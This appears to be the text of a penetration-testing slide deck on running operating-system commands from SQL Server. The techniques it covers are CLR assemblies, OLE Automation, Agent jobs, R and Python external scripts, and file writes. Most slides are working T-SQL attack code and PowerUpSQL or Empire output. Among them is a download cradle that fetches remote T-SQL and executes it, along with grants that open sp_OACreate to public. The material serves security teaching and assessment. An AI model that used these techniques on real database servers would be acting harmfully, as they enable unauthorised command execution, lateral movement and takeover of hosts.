so.object_id as [sp_object_id],
so.name AS [sp_name],
so.[type] as [sp_type],
asmbly.permission_set_desc,
asmbly.create_date,
asmbly.modify_date,
af.content
FROM sys.assembly_modules am
INNER JOIN sys.assemblies asmbly
ON asmbly.assembly_id = am.assembly_id
INNER JOIN sys.assembly_files af
ON asmbly.assembly_id = af.assembly_id
INNER JOIN sys.objects so
ON so.[object_id] = am.[object_id]
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
67 Confidential & Proprietary
67
68 Confidential & Proprietary
68
CLR Assemblies – Automation – PowerUpSQL
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Action PowerUpSQL Function
Create Custom
.net DLL with Custom Attributes
Create-SQLFileCLRDLL
Execute OS Command via CLR Invoke-SQLOSCmdCLR
List Assembly Information Get-SQLStoredProcedureCLR
Export Existing Assemblies
Get-SQLStoredProcedureCLR
–ExportFolder c:temp
69 Confidential & Proprietary
69
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
70 Confidential & Proprietary
70
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
71 Confidential & Proprietary
71
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
73 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
73
Ole Automation
Procedures
74 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE
74
Ole Automation Procedures - Overview
1. SQL Server native scripting that allows calls to COM objects
2. Affected Versions: SQL Server 2000 to 2017 (so far)
3. Requires sysadmin role by default
4. Can be executed by non-sysadmin with:
 GRANT EXECUTE ON OBJECT::[dbo].[sp_OACreate] to [public]
 GRANT EXECUTE ON OBJECT::[dbo].[sp_OAMethod] to [public]
5. Executes as the SQL Server service account
Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/
75 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE
75
Ole Automation Procedures - Instructions
1. Server level setting: “'Ole Automation Procedures” set to 1
2. Run your code 
Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/
76 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
76
Ole Automation Procedures – Code - TSQL
-- Enable Show Advanced Options
sp_configure 'Show Advanced Options',1
RECONFIGURE
GO
-- Enable OLE Automation Procedures
sp_configure 'Ole Automation Procedures',1
RECONFIGURE
GO
-- Execute Command via OLE and store output in temp file
DECLARE @Shell INT
DECLARE @Shell2 INT
EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5
EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:tempfile.txt"'
-- Read results
DECLARE @libref INT
DECLARE @filehandle INT
DECLARE @FileContents varchar(8000)
EXEC sp_oacreate 'scripting.filesystemobject', @libref out
EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:tempfile.txt', 1
EXEC sp_oamethod @filehandle, 'readall', @FileContents out
SELECT @FileContents
GO
-- Remove temp result file
DECLARE @Shell INT
EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5
EXEC Sp_oamethod @Shell, 'run' , null, 'cmd.exe /c "DEL c:tempfile.txt"'
GO
-- Disable Show Advanced Options
sp_configure 'Show Advanced Options',1
RECONFIGURE
GO
-- Disable OLE Automation Procedures
sp_configure 'Ole Automation Procedures',1
RECONFIGURE
GO
77 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE
77
Ole Automation Procedures – Code - TSQL
-- Execute Command via OLE and store output in temp file
DECLARE @Shell INT
DECLARE @Shell2 INT
EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5
EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:tempfile.txt"'
-- Read results
DECLARE @libref INT
DECLARE @filehandle INT
DECLARE @FileContents varchar(8000)
EXEC sp_oacreate 'scripting.filesystemobject', @libref out
EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:tempfile.txt', 1
EXEC sp_oamethod @filehandle, 'readall', @FileContents out
SELECT @FileContents
GO
Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/
78 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE
78
Ole Automation Procedures – Code - TSQL
-- Execute Command via OLE and store output in temp file
DECLARE @Shell INT
DECLARE @Shell2 INT
EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5
EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:tempfile.txt"'
-- Read results
DECLARE @libref INT
DECLARE @filehandle INT
DECLARE @FileContents varchar(8000)
EXEC sp_oacreate 'scripting.filesystemobject', @libref out
EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:tempfile.txt', 1
EXEC sp_oamethod @filehandle, 'readall', @FileContents out
SELECT @FileContents
GO
Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/
79 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE
79
Ole Automation Procedures – Code - TSQL
-- Execute Command via OLE and store output in temp file
DECLARE @Shell INT
DECLARE @Shell2 INT
EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5
EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:tempfile.txt"'
-- Read results
DECLARE @libref INT
DECLARE @filehandle INT
DECLARE @FileContents varchar(8000)
EXEC sp_oacreate 'scripting.filesystemobject', @libref out
EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:tempfile.txt', 1
EXEC sp_oamethod @filehandle, 'readall', @FileContents out
SELECT @FileContents
GO
Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/
80 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE
80
Ole Automation Procedures – Automation – PowerUpSQL
Action PowerUpSQL Function
Execute OS Command via
OLE Automation Procedure
Invoke-SQLOSCmdOle
81 Confidential & Proprietary
81
Ole Automation Procedures – Automation – PowerUpSQL
82 Confidential & Proprietary
BEYOND XP_CMDSHELL: BONUS SLIDE – TSQL DOWNLOAD CRADLE
82
-- OLE Automation Procedure Download Cradle Example
-- Setup Variables
DECLARE @url varchar(300)
DECLARE @WinHTTP int
DECLARE @handle int
DECLARE @Command varchar(8000)
-- Set target url containting TSQL
SET @url = 'http://127.0.0.1/mycmd.txt'
-- Setup namespace
EXEC @handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT
-- Call the Open method to setup the HTTP request
EXEC @handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false'
-- Call the Send method to send the HTTP GET request
EXEC @handle=sp_OAMethod @WinHTTP,'Send'
-- Capture the HTTP response content
EXEC @handle=sp_OAGetProperty @WinHTTP,'ResponseText', @Command out
-- Destroy the object
EXEC @handle=sp_OADestroy @WinHTTP
-- Display command
SELECT @Command
-- Run command
execute(@Command)
84 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
84
Agent Jobs
85 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
85
Agent Jobs - Overview
1. Native task scheduling engine
2. Affected Versions: All
3. Requires sysadmin role by default
4. Non sysadmin roles: SQLAgentUserRole, SQLAgentReaderRole,
SQLAgentOperatorRole (require proxy account)
5. Executes as the SQL Server Agent service account unless a
a proxy account is configured
86 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
86
Agent Jobs – Overview - Most Common Job Types
1. TSQL
2. SQL Server Integrated Services (SSIS) Package
3. CMDEXEC
4. PowerShell
5. ActiveScripting (VBScript & JSCRIPT)
88 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
88
Agent Jobs - Instructions
1. Make sure the SQL Server Agent service is running! (xp_startservice)
2. Create Job
3. Create Job Step
4. Configure to self delete
5. Run Job
 Note: For non sysadmins a proxy account must be configured. As a sysadmin:
 Create a credential
 Create a proxy account that allows all the subsystem execution needed
 Grant use of proxy to security principals (logins and roles)
89 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
89
Agent Jobs – Code – TSQL – CMDEXEC
use msdb
DECLARE @jobId BINARY(16)
EXEC msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC',
@enabled=1,
@notify_level_eventlog=0,
@notify_level_email=0,
@notify_level_netsend=0,
@notify_level_page=0,
@delete_level=1,
@description=N'No description available.',
@category_name=N'[Uncategorized (Local)]',
@owner_login_name=N'sa', @job_id = @jobId OUTPUT
EXEC msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - CMDEXEC',
@step_id=1,
@cmdexec_success_code=0,
@on_success_action=1,
@on_success_step_id=0,
@on_fail_action=2,
@on_fail_step_id=0,
@retry_attempts=0,
@retry_interval=0,
@os_run_priority=0, @subsystem=N'CmdExec',
@command=N'c:windowssystem32cmd.exe /c echo hello > c:windowstempblah.txt',
@flags=0
use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC' ;
@command=N'c:windowssystem32cmd.exe /c echo
hello > c:windowstempblah.txt’,
90 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
90
Agent Jobs – Code – TSQL – PowerShell
USE [msdb]
GO
DECLARE @jobId BINARY(16)
EXEC msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL',
@enabled=1,
@notify_level_eventlog=0,
@notify_level_email=0,
@notify_level_netsend=0,
@notify_level_page=0,
@delete_level=1,
@description=N'No description available.',
@category_name=N'[Uncategorized (Local)]',
@owner_login_name=N'sa', @job_id = @jobId OUTPUT
EXEC msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - POWERHSHELL',
@step_id=1,
@cmdexec_success_code=0,
@on_success_action=1,
@on_success_step_id=0,
@on_fail_action=2,
@on_fail_step_id=0,
@retry_attempts=0,
@retry_interval=0,
@os_run_priority=0, @subsystem=N'PowerShell',
@command=N'write-output "hello world" | out-file c:windowstempblah.txt',
@database_name=N'master',
@flags=0
use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL' ;
@command=N'write-output "hello world" | out-file
c:windowstempblah.txt’
91 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
91
Agent Jobs – Code – TSQL – JSCRIPT
use msdb
DECLARE @jobId BINARY(16)
exec msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT',
@enabled=1,
@notify_level_eventlog=0,
@notify_level_email=0,
@notify_level_netsend=0,
@notify_level_page=0,
@delete_level=1,
@description=N'No description available.',
@category_name=N'[Uncategorized (Local)]',
@owner_login_name=N'sa', @job_id = @jobId OUTPUT
exec msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - ActiveX: JSCRIPT',
@step_id=1,
@cmdexec_success_code=0,
@on_success_action=1,
@on_success_step_id=0,
@on_fail_action=2,
@on_fail_step_id=0,
@retry_attempts=0,
@retry_interval=0,
@os_run_priority=0, @subsystem=N'ActiveScripting',
@command=N'function RunCmd()
{
var objShell = new ActiveXObject("shell.application");
objShell.ShellExecute("cmd.exe", "/c echo hello > c:windowstempblah.txt", "", "open", 0);
}
RunCmd();
',
@database_name=N'JavaScript',
@flags=0
use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT' ;
@command=N'function RunCmd()
{
var objShell = new ActiveXObject("shell.application");
objShell.ShellExecute("cmd.exe",
"/c echo hello > c:windowstempblah.txt",
"",
"open",
0);
}
RunCmd();’
92 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
92
Agent Jobs – Code – TSQL – VBSCRIPT
use msdb
DECLARE @jobId BINARY(16)
EXECmsdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT',
@enabled=1,
@notify_level_eventlog=0,
@notify_level_email=0,
@notify_level_netsend=0,
@notify_level_page=0,
@delete_level=1,
@description=N'No description available.',
@category_name=N'[Uncategorized (Local)]',
@owner_login_name=N'sa', @job_id = @jobId OUTPUT
EXEC msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - ActiveX: VBSCRIPT',
@step_id=1,
@cmdexec_success_code=0,
@on_success_action=1,
@on_success_step_id=0,
@on_fail_action=2,
@on_fail_step_id=0,
@retry_attempts=0,
@retry_interval=0,
@os_run_priority=0, @subsystem=N'ActiveScripting',
@command=N'FUNCTION Main()
dim shell
set shell= CreateObject ("WScript.Shell")
shell.run("c:windowssystem32cmd.exe /c echo hello > c:windowstempblah.txt")
set shell = nothing
END FUNCTION',
@database_name=N'VBScript',
@flags=0
use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT' ;
@command=N'FUNCTION Main()
dim shell
set shell= CreateObject ("WScript.Shell")
shell.run("c:windowssystem32cmd.exe /c echo hello
> c:windowstempblah.txt")
set shell = nothing
END FUNCTION’,
93 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
93
Agent Jobs – Code – TSQL – VBSCRIPT – Find your own com
https://github.com/tyranid/oleviewdotnet
OleViewDotNetOLE/COM Object Viewer
94 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
94
Agent Jobs – Code – TSQL – List Jobs
SELECT job.job_id as [JOB_ID],
job.name as [JOB_NAME],
job.description as [JOB_DESCRIPTION],
steps.step_name,
steps.subsystem,
steps.command,
SUSER_SNAME(job.owner_sid) as [JOB_OWNER],
steps.proxy_id,
proxies.name as [proxy_account],
job.enabled,
steps.server,
job.date_created,
steps.last_run_date
FROM [msdb].[dbo].[sysjobs] job
INNER JOIN [msdb].[dbo].[sysjobsteps] steps
ON job.job_id = steps.job_id
left join [msdb].[dbo].[sysproxies] proxies
ON steps.proxy_id = proxies.proxy_id
ORDER BY JOB_NAME, step_name
95 Confidential & Proprietary
95
96 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
96
Agent Jobs – Automation - PowerUpSQL
 Get-SQLAgentJob
 Get list of agents jobs and their code
 Use on scale to get stats in verbose
Get-SQLInstanceDomain | Get-SQLAgentJob - Verbose
VERBOSE: SQL Server Agent Job Search
Complete.
VERBOSE: ---------------------------------
VERBOSE: Agent Job Summary
VERBOSE: ---------------------------------
VERBOSE: 470 jobs found
VERBOSE: 7 affected systems
VERBOSE: 7 affected SQL Server instances
VERBOSE: 33 proxy credentials used
VERBOSE: ---------------------------------
VERBOSE: Agent Job Summary by SubSystem
VERBOSE: ---------------------------------
VERBOSE: 461 SSIS Jobs
VERBOSE: 4 Snapshot Jobs
VERBOSE: 2 Distribution Jobs
VERBOSE: 1 QueueReader Jobs
VERBOSE: 1 LogReader Jobs
VERBOSE: 1 CmdExec Jobs
VERBOSE: 470 Total
VERBOSE: ---------------------------------
97 Confidential & Proprietary
97
Agent Jobs – Automation - PowerUpSQL
 Invoke-SQLOSCmdAgentJob
 Written by Leo Loobeek
 Gold Star PowerUpSQL contributor!
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
98 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
98
Agent Jobs – Automation - PowerUpSQL
Action PowerUpSQL Function
List Agent Jobs Get-SQLAgentJob
OS CMD via CMDEXEC Invoke-SQLOSCmdAgentJob –SubSystem CMDEXEC
OS CMD via PowerShell Invoke-SQLOSCmdAgentJob –SubSystem PowerShell
OS CMD via JScript Invoke-SQLOSCmdAgentJob –SubSystem Jscript
OS CMD via VBScript Invoke-SQLOSCmdAgentJob –SubSystem VBScript
100 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
100
External Scripts
R & Python
101 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – EXTERNAL SCRIPTS
101
External Scripts - Overview
 R introduced in SQL Server 2016
 Python introduced in SQL Server 2017
 Both are used for “big data” analytics and machine learning stuff
 Runtime environments must be installed with SQL Server
 Require sysadmin privileges to run by default
 Run as a dynamically created local Windows user account
102 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – EXTERNAL SCRIPTS
102
External Scripts - Instructions
1. The R / Python runtime environment must be installed
already
2. The 'external scripts enabled’ server configuration must
be enabled
3. The SQL Server service must be restarted for the change
to take effect
4. Then ‘sp_execute_external_script’ can be used to
execute OS commands via R and Python scripts
103 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – R SCRIPT
103
R Scripts – Code Sample - TSQL
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c
whoami",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO
104 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – PYTHON SCRIPT
104
Python Scripts – Code Sample - TSQL
EXEC sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([Output] nvarchar(max)))
Source: https://gist.github.com/james-otten/63389189ee73376268c5eb676946ada5
105 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – EXTERNAL SCRIPTS
105
External Script – Automation - PowerUpSQL
Action PowerUpSQL Function
OS CMD via R Script Invoke-SQLOSCmdR
OS CMD via Python Script Invoke-SQLOSCmdPython
106 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – R SCRIPT
106
R Scripts – Automation – PowerUpSQL
PS C:> Invoke-SQLOSCmdR -Verbose -Instance Server1SQLSERVER2017 -command whoami
VERBOSE: Creating runspace pool and session states
VERBOSE: Server1SQLSERVER2017 : Connection Success.
VERBOSE: Server1SQLSERVER2017 : You are a sysadmin.
VERBOSE: Server1SQLSERVER2017 : Show Advanced Options is disabled.
VERBOSE: Server1SQLSERVER2017 : Enabled Show Advanced Options.
VERBOSE: Server1SQLSERVER2017 : External scripts enabled are disabled.
VERBOSE: Server1SQLSERVER2017 : Enabled external scripts.
VERBOSE: Server1SQLSERVER2017 : The 'external scripts enabled' setting is enabled in runtime.'
VERBOSE: Server1SQLSERVER2017 : Executing command: whoami
VERBOSE: Server1SQLSERVER2017 : Disabling external scripts
VERBOSE: Server1SQLSERVER2017 : Disabling Show Advanced Options
VERBOSE: Closing the runspace pool
ComputerName Instance CommandResults
--------------------- ----------- ------------------------
Server1 Server1SQLSERVER2017 Server1sqlserver201701
107 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – PYTHON SCRIPT
107
Python Scripts – Automation – PowerUpSQL
PS C:> Invoke-SQLOSCmdPython -Verbose -Instance Server1SQLSERVER2017 -command whoami
VERBOSE: Creating runspace pool and session states
VERBOSE: Server1SQLSERVER2017 : Connection Success.
VERBOSE: Server1SQLSERVER2017 : You are a sysadmin.
VERBOSE: Server1SQLSERVER2017 : Show Advanced Options is disabled.
VERBOSE: Server1SQLSERVER2017 : Enabled Show Advanced Options.
VERBOSE: Server1SQLSERVER2017 : External scripts enabled are disabled.
VERBOSE: Server1SQLSERVER2017 : Enabled external scripts.
VERBOSE: Server1SQLSERVER2017 : The 'external scripts enabled' setting is enabled in runtime.'
VERBOSE: Server1SQLSERVER2017 : Executing command: whoami
VERBOSE: Server1SQLSERVER2017 : Disabling external scripts
VERBOSE: Server1SQLSERVER2017 : Disabling Show Advanced Options
VERBOSE: Closing the runspace pool
ComputerName Instance CommandResults
--------------------- ----------- ------------------------
Server1 Server1SQLSERVER2017 Server1sqlserver201701
109 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
109
File Autoruns
110 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – WRITE FILE
110
File Autoruns – Writing Files
 OpenRowSet / OpenDataSource / OpenQuery
 Requires sysadmin or bulk insert privileges
 Requires the 'Microsoft.ACE.OLEDB.12.0’ or similar provider to be
installed
 Requires sp_configure 'ad hoc distributed queries',1
 Bulk Insert File Copy
 Requires sysadmin or bulk insert privileges
 Requires local, UNC, or WebDav path to copy file content
 Haven’t had time to verify the full WebDav PoC yet (exfil)
111 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – WRITE FILE
111
File Autoruns – OpenRowSet File Write
-- Note: Requires the driver to be installed ahead of time.
-- list available providers
EXEC sp_MSset_oledb_prop -- get available providers
-- Enable show advanced options
sp_configure 'show advanced options',1
reconfigure
go
-- Enable ad hoc queries
sp_configure 'ad hoc distributed queries',1
reconfigure
go
-- Write text file
INSERT INTO OPENROWSET('Microsoft.ACE.OLEDB.12.0','Text;Database=c:temp;HDR=Yes;FORMAT=text', 'SELECT * FROM
[file.txt]')
SELECT @@version
-- Note: This also works with unc paths ipfile.txt
-- Note: This also works with webdav paths ip@80file.txt However, the target web server needs to support propfind.
112 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - WRITE FILE
112
File Autoruns – Bulk Insert Read File
-- Create temp table
CREATE TABLE #file (content nvarchar(4000));
-- Read file into temp table
BULK INSERT #file
FROM 'c:tempfile.txt';
-- Select contents of file
SELECT content FROM #file
https://docs.microsoft.com/en-us/sql/t-sql/statements/bulk-insert-transact-sql
113 Confidential & Proprietary
113
File Autoruns – Automation - PowerUpSQL
 TSQL File write via BULK INSERT ErrorFile
 Written by Antti Rantasaari
 Gold Star PowerUpSQL contributor!
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - WRITE FILE
114 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - WRITE FILE
114
File Autoruns – Bulk Insert Error – File Write/Copy
-- author: antti rantassari, 2017
-- Description: Copy file contents to another file via local, unc, or webdav path
-- summary = file contains varchar data, field is an int, throws casting error on read, set error output to file, tada!
-- requires sysadmin or bulk insert privs
CREATE TABLE #errortable (ignore int)
BULK INSERT #errortable
FROM 'localhostc$windowswin.ini'
WITH
(
fieldterminator=',',
rowterminator='n',
errorfile='c:windowstempthatjusthappend.txt'
)
drop table #errortable
https://docs.microsoft.com/en-us/sql/t-sql/statements/bulk-insert-transact-sql
115 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - WRITE FILE
115
File Autoruns – Bulk Insert Error File Copy
-- author: antti rantassari, 2017
-- Description: Copy file contents to another file via local, unc, or webdav path
-- summary = file contains varchar data, field is an int, throws casting error on read, set error output to file, tada!
-- requires sysadmin or bulk insert privs
CREATE TABLE #errortable (ignore int)
BULK INSERT #errortable
FROM 'localhostc$windowswin.ini' -- or 'c:windowssystem32win.ini' -- or hostanme@SSLfolderfile.ini’
WITH
(
fieldterminator=',',
rowterminator='n',
errorfile='c:windowstempthatjusthappend.txt'
)
drop table #errortable
https://docs.microsoft.com/en-us/sql/t-sql/statements/bulk-insert-transact-sql
119 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
119
Uuuh - That was too much
crap at once.
Uuuh - That was too much
crap at once.
120 Confidential & Proprietary
BEYOND XP_CMDSHELL: POWERUPSQL OS CMD CHEAT SHEET
120
Technique PowerUpSQL Functions PowerUpSQL Templates
Execute xp_cmdshell • Invoke-SQLOSCmd • oscmdexec_xpcmdshell.sql
• oscmdexec_xpcmdshell_proxy.sql
Create & Execute a Extended Stored Procedure • Create-SQLFileXpDll
• Get-SQLStoredProcedureXp
• cmd_exec.cpp
Create & Execute a CLR Assembly • Create-SQLFileCLRDll
• Get-SQLStoreProcedureCLR
• Get-SQLStoreProcedureCLR –ExportFolder C:temp
• Invoke-SQLOSCmdCLR
• cmd_exec.cs
Execute a OLE Automation Procedure • Invoke-SQLOSCmdOle • oscmdexec_oleautomationobject.sql
Create & Execute an Agent Job
• CmdExec
• PowerShell
• ActiveX: Jscript
• ActiveX: VBScript
• Get-SQLAgentJob
• Invoke-SQLOSCmdAgentJob
• oscmdexec_agentjob_activex_jscript.sql
• oscmdexec_agentjob_activex_vbscript.sql
• oscmdexec_agentjob_cmdexec.sql
• oscmdexec_agentjob_powershell.sql
External Scripting
• R
• Python
• Invoke-SQLOSCmdR
• Invoke-SQLOSCmdPython
• oscmdexec_rscript.sql
• oscmdexec_pythonscript.tsql
OS Autoruns
• Bulk Insert
• Provider
• Microsoft.ACE.OLEDB.12.0
• Microsoft.Jet.OLEDB.4.0
• Get-SQLPersistRegRun
• Get-SQLPersistRegDebugger
• writefile_bulkinsert.sql
https://github.com/NetSPI/PowerUpSQL/tree/master/templates
121 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS CMD CHEETSHEET
121Technique Affected
Version
Requires
Sysadmin
By default
Can be Run as
Non-sysadmin
with
Specific
Privileges
Execution
Context
Proxy
Account
Option
Requires
Server
Config
Change
Requires
Disk
Read/Write
Commands to Watch / Requirements
Execute xp_cmdshell 2000 - 2017 Yes Yes SQL Server Service Account
xp_cmdshell Proxy Account
Yes Yes No sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
EXEC sp_configure 'xp_cmdshell', 1;
xp_cmdshell 'whoami’
sp_xp_cmdshell_proxy_account
Grant execute on xp_cmdshell to [x]
Create & Execute a Extended Stored Procedure 2000 - 2017 Yes No SQL Server Service Account No No Yes sp_addextendedproc
Create & Execute a CLR Assembly 2008 -2017 Yes Yes SQL Server Service Account No Yes No sp_configure ‘clr enabled', 1;
sp_configure ‘clr strict security’, 0;
CREATE ASSEMBLY+CREATE PROCEDURE , ALTER
ASSEMBLY, or DDL_Admin
Requires: Database has ‘Is_Trustworthy’ flag set.
Execute a OLE Automation Procedure 2000 - 2017 Yes Yes SQL Server Service Account No Yes No sp_configure ‘Ole Automation Procedures', 1;
GRANT EXECUTE ON OBJECT::[dbo].[sp_OACreate] to
[public]
GRANT EXECUTE ON OBJECT::[dbo].[sp_OAMethod] to
[public]
Create & Execute an Agent Job
• CmdExec
• PowerShell
• SSIS
• ActiveX: Jscript
• ActiveX: VBScript
2000 - 2017 Yes Yes SQL Server
Agent Service Account
Proxy Account
Yes No No sp_add_job that is not tsql
Runs as agent service account when created by sysadmin.
Must be configured with proxy account for non sysadmin
users provided a agent role: SQLAgentUserRole,
SQLAgentReaderRole, SQLAgentOperatorRole
External Scripting: R 2016 – 2017 Yes No SQL Server Service Account No Yes No sp_configure 'external scripts enabled', 1;
External Scripting: Python 2017 Yes No SQL Server Service Account No Yes No sp_configure 'external scripts enabled', 1;
OS Autoruns
• File
• Registry
2000 - 2017 Yes Yes Depends on autorun
location
No Yes Yes Files: Bulk Insert:
GRANT ADMINISTER BULK OPERATIONS TO [public]
Files: sp_addlinkedserver / Openrowset / Opendataset
Registry: xp_regread / xp_regwrite
Providers
• Microsoft.ACE.OLEDB.12.0
• Microsoft.Jet.OLEDB.4.0
2005 - 2017 Yes Maybe SQL Server
Service Account
Yes Yes Yes sp_addlinkedserver / Openrowset / Opendataset
Sp_configure ‘enabled ad-hoc queries’,1
Can mdb be unc?
122 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
122
FUTURE RESEARCH
Other providers.
Write one function to evaluate audit controls, cmdexec options,
and automatically choose best one.
123 Confidential & Proprietary123 Confidential & Proprietary
More
toys!
https://github.com/EmpireProject/Empire
POWERSHELL
EMPIRE
MODULES
124 Confidential & Proprietary
BEYOND XP_CMDSHELL: EMPIRE MODULES
124
SQL Server Empire Modules
1. Get-SQLInstanceDomain
2. Get-SQLServerInfo
3. Get-SQLServerDefaultLoginPW
4. Get-SQLQuery
5. Get-SQLColumnSampleData
6. Invoke-SQLOSCmd
GOTCHA!
125 Confidential & Proprietary
BEYOND XP_CMDSHELL: EMPIRE MODULES
125
Module 3
 Example screenshot
(Empire: NCH9K51L) > usemodule powershell/lateral_movement/invoke_sqloscmd
(Empire: powershell/lateral_movement/invoke_sqloscmd) > options
Name: Invoke-SQLOSCMD
Module: powershell/lateral_movement/invoke_sqloscmd
NeedsAdmin: False
OpsecSafe: True
Language: powershell
MinLanguageVersion: 2
Background: True
OutputExtension: None
Authors:
@nullbind
@0xbadjuju
Description:
Executes a command or stager on remote hosts using
xp_cmdshell.
Options:
Name Required Value Description
---- -------- ------- -----------
Listener False Listener to use.
CredID False CredID from the store to use.
Command False Custom command to execute on remote hosts.
Proxy False default Proxy to use for request (default, none, or other).
UserName False [domain]username to use to execute command.
Instance True Host[s] to execute the stager on, comma separated.
UserAgent False default User-agent string to use for the staging request (default, none, or other).
ProxyCreds False default Proxy credentials ([domain]username:password) to use for request (default, none, or other).
Password False Password to use to execute command.
Agent True NCH9K51L Agent to run module on.
126 Confidential & Proprietary
BEYOND XP_CMDSHELL: EMPIRE MODULES
126
Module 3
 Example screenshot
(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Instance sql-2012.test.local
(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Command whoami
